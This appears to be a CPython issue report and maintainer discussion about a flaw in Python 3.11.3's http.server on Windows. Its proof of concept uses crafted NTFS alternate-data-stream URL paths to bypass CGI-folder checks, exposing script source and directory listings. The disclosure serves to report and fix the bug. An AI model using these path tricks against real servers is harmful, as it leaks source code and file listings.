Open
Description
Python 3.11.3 http.server Alternate Data Stream Information Disclosure
Python http.server supports reading NTFS Alternate Data Streams, which will allow an attacker leaking CGI source code and directory listing on CGI folders.
Tested on
Python 3.11.3 amd64 on Windows 11
Analysis
ADS is a feature present on NTFS file system: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
As seen on MS documentation, the following are equivalent:
Dir C:\Users
Dir C:\Users:$I30:$INDEX_ALLOCATION
Dir C:\Users::$INDEX_ALLOCATION
This allows us to trick the directory validation that is present on http.server
Line 1029 in 4536b2e
Proof-of-Concept
- Install Python 3.11.3 on Windows
- Create a sample CGI script and start the http server on port 8000, execute the following on cmd.exe:
mkdir cgi-bin
cd cgi-bin
echo #!/usr/bin/env python3 > hi.py
echo print("Content-Type: text/html\n") >> hi.py
echo print("<!doctype html><title>Hello</title><h2>hello world</h2>") >> hi.py
cd ..
python -m http.server --cgi 8000
- From another terminal, this shows that the hi.py script is executed as a CGI application:
$ curl -v http://localhost:8000/cgi-bin/hi.py
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 Script output follows
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:34:43 GMT
< Content-Type: text/html
<
<!doctype html><title>Hello</title><h2>hello world</h2>
* Closing connection 0
- The following will show that listing is not allowed on the /cgi-bin/ folder by default:
$ curl -v http://localhost:8000/cgi-bin/
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin/ HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 403 CGI script is not a plain file ('/cgi-bin/')
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:34:56 GMT
< Connection: close
< Content-Type: text/html;charset=utf-8
< Content-Length: 384
<
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 403</p>
<p>Message: CGI script is not a plain file ('/cgi-bin/').</p>
<p>Error code explanation: 403 - Request forbidden -- authorization will not help.</p>
</body>
</html>
* Closing connection 0
- When called with the following commands, the source code for hi.py is returned instead of the HTML output:
$ curl -v http://localhost:8000/cgi-bin::$INDEX_ALLOCATION/hi.py
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin::$INDEX_ALLOCATION/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:36:12 GMT
< Content-type: text/x-python
< Content-Length: 129
< Last-Modified: Sat, 20 May 2023 16:56:32 GMT
<
#!/usr/bin/env python3
print("Content-Type: text/html\n")
print("<!doctype html><title>Hello</title><h2>hello world</h2>")
* Closing connection 0
$ curl -v http://localhost:8000/cgi-bin:$I30:$INDEX_ALLOCATION/
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin:$I30:$INDEX_ALLOCATION/hi.py HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:36:52 GMT
< Content-type: text/x-python
< Content-Length: 129
< Last-Modified: Sat, 20 May 2023 16:56:32 GMT
<
#!/usr/bin/env python3
print("Content-Type: text/html\n")
print("<!doctype html><title>Hello</title><h2>hello world</h2>")
* Closing connection 0
The following command shows that directory listing is also possible:
curl -v http://localhost:8000/cgi-bin:$I30:$INDEX_ALLOCATION/
* Trying 127.0.0.1:8000...
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET /cgi-bin:$I30:$INDEX_ALLOCATION/ HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/8.0.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: SimpleHTTP/0.6 Python/3.11.3
< Date: Sat, 20 May 2023 17:37:25 GMT
< Content-type: text/html; charset=utf-8
< Content-Length: 284
<
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /cgi-bin:$I30:$INDEX_ALLOCATION/</title>
</head>
<body>
<h1>Directory listing for /cgi-bin:$I30:$INDEX_ALLOCATION/</h1>
<hr>
<ul>
<li><a href="hi.py">hi.py</a></li>
</ul>
<hr>
</body>
</html>
* Closing connection 0
Activity
pythongh-104712: Treat the ADS alternatives as cgi_directoies also in…
serhiy-storchaka commentedon Jan 26, 2024
Would not be simpler to ban ":" in the path?
serhiy-storchaka commentedon Jan 26, 2024
Also, what happens if the user uses a path with a different case, e.g.
/CGI-BIN/hi.py
or/CGI-BIN/HI.PY
?ericvsmith commentedon Jan 26, 2024
Since no one should be using http.server for "real" work, I think disallowing ":" in paths is fine. For real production work I suppose there might be some desire to server alternate data streams, but for http.server I don't have a problem with completely disallowing them.
zooba commentedon Jan 26, 2024
I think it would be simplest to clearly document that you should not expose
http
servers to untrusted clients.There's no way we can change the behaviour enough to satisfy all the security researchers, so we're best to just declare the whole thing out of scope and leave it fully functional for those who use it appropriately.
There's a few other issues that would also be resolved by declaring it out of scope (e.g. #104711)